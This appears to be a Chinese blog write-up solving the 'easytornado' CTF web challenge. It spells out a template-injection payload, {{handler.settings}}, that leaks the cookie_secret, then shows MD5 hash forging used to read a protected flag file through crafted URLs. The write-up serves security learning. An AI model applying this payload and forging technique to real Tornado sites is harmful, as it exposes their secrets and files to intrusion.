【愚公系列】2022年04月 攻防世界-进阶题-WEB-015(easytornado)

2022-05-01 14:05:07 浏览数 (1)

文章目录

  • 前言
  • 一、easytornado
    • 1.点击获取在线场景
    • 2.场景分析
    • 3.访问flag.txt
    • 4.访问welcome.txt
    • 5.访问hints.txt
    • 6.获取cookie_secret值
    • 7.进行加密
    • 8.获取flag
  • 总结

前言

Tornado是使用Python开发的全栈式(full-stack)Web框架和异步网络库,最早由Friendfeed开发。通过使用非阻塞IO,Tornado可以处理数以万计的开放连接,是long polling、WebSockets和其他需要为用户维护长连接应用的理想选择。

Tornado 跟其他主流的Web服务器框架(主要是Python框架)不同是采用epoll非阻塞IO,响应快速,可处理数千并发连接,特别适用用于实时的Web服务。

Tornado 主要分成四个部分:

  • Web 框架(包括 RequestHandler,用于创建Web程序的基类,以及各种支持类)
  • 实现 HTTP 的客户端和服务器端 (HTTPServer 和 AsyncHTTPClient)
  • 一个异步网络库 (IOLoop 和 IOStream)
  • 一个协程库(tornado.gen) ,使得异步调用代码能够以更直接的方式书写,取代回调链接

下面是tornado实现简单web服务源码

代码语言:javascript复制
import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello, world")

application = tornado.web.Application([
    (r"/", MainHandler),
])

if __name__ == "__main__":
    application.listen(8888)
    tornado.ioloop.IOLoop.instance().start()

一、easytornado

1.点击获取在线场景

2.场景分析

3.访问flag.txt

看到了/flllllllllag这个文件,估计是flag,但是看到了上面的验证逻辑,有个filehash值,按照格式把文件名的hash值搞出来,看格式应该是MD5,但是不对。

4.访问welcome.txt

发现了render,render是渲染HTML页面用到的函数。

5.访问hints.txt

发现加密方式是MD5值是文件名的MD5加上cookie_secret这个值,之后再MD5加密。

6.获取cookie_secret值

代码语言:javascript复制
http://111.200.241.244:52521/file?filename=/flag.txt&filehash=84c4fc3288f79a6d1fb4a73b2536b6c2

获取文件时报错

msg存在模板注入漏洞,读取cookie_secret

代码语言:javascript复制
error?msg={{handler.settings}}

得到cookie_secret:d4326471-bd08-4d3b-af91-67fb1ecd89a0

7.进行加密

/fllllllllllllag的32位得到:3bf9f6cf685a6dd8defadabfb41a03a1

在进行第二次加密:d4326471-bd08-4d3b-af91-67fb1ecd89a03bf9f6cf685a6dd8defadabfb41a03a1

得到:da37411c3f435649c3abee7c92a1d12b

8.获取flag

代码语言:javascript复制
/file?filename=/fllllllllllllag&filehash=da37411c3f435649c3abee7c92a1d12b

得到flag:flag{3f39aea39db345769397ae895edb9c70}

总结

Cookie的Secure属性:

基于安全的考虑,需要给cookie加上Secure和HttpOnly属性,HttpOnly比较好理解,设置HttpOnly=true的cookie不能被js获取到,无法用document.cookie打出cookie的内容。

Secure属性是说如果一个cookie被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用http协议是不发送的。换句话说,cookie是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这是你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。

0 人点赞